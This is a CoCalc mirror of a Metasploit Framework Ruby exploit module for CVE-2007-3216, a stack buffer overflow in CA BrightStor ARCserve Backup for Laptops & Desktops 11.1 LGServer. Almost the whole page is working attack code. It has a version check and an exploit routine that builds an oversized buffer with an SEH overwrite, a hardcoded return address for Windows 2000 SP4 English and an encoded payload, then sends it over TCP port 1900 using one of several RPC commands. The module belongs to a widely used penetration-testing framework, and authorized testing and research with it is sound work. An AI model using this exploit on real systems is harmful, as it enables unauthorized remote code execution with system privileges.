Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/brightstor/lgserver_multi.rb
21633 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'CA BrightStor ARCserve for Laptops and Desktops LGServer Multiple Commands Buffer Overflow',
17
'Description' => %q{
18
This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
19
for Laptops & Desktops 11.1. By sending a specially crafted request to multiple commands,
20
an attacker could overflow the buffer and execute arbitrary code.
21
},
22
'Author' => [ 'MC' ],
23
'License' => MSF_LICENSE,
24
'References' => [
25
[ 'CVE', '2007-3216' ],
26
[ 'OSVDB', '35329' ],
27
[ 'BID', '24348' ],
28
],
29
'Privileged' => true,
30
'DefaultOptions' => {
31
'EXITFUNC' => 'process',
32
},
33
'Payload' => {
34
'Space' => 400,
35
'BadChars' => "\x00",
36
'StackAdjustment' => -3500,
37
},
38
'Platform' => 'win',
39
'Targets' => [
40
[ 'Windows 2000 SP4 English', { 'Ret' => 0x75022ac4 } ],
41
],
42
'DisclosureDate' => '2007-06-06',
43
'DefaultTarget' => 0,
44
'Notes' => {
45
'Reliability' => UNKNOWN_RELIABILITY,
46
'Stability' => UNKNOWN_STABILITY,
47
'SideEffects' => UNKNOWN_SIDE_EFFECTS
48
}
49
)
50
)
51
52
register_options([ Opt::RPORT(1900) ])
53
end
54
55
def check
56
connect
57
58
sock.put("0000000019rxrGetServerVersion")
59
ver = sock.get_once
60
61
disconnect
62
63
if (ver and ver =~ /11\.1\.742/)
64
return Exploit::CheckCode::Appears
65
end
66
67
return Exploit::CheckCode::Safe
68
end
69
70
def exploit
71
connect
72
73
rpc_commands = [
74
"rxsAddNewUser",
75
"rxsSetUserInfo",
76
"rxsRenameUser",
77
"rxsExportData",
78
"rxcReadSaveSetProfile",
79
"rxcInitSaveSetProfile",
80
"rxcAddSaveSetNextAppList",
81
"rxcAddSaveSetNextFilesPathList"
82
]
83
84
rpc_command = rpc_commands[rand(rpc_commands.length)]
85
86
data = rand_text_alpha_upper(62768)
87
88
data[58468, 8] = generate_seh_record(target.ret)
89
data[58476, payload.encoded.length] = payload.encoded
90
91
sploit = "0000062768" # Command Length Field
92
sploit << rpc_command # RPC Command
93
sploit << "~~" # Constant Argument Delimiter
94
sploit << data
95
96
print_status("Trying target #{target.name} with command '#{rpc_command}'...")
97
sock.put(sploit)
98
99
handler
100
disconnect
101
end
102
end
103
104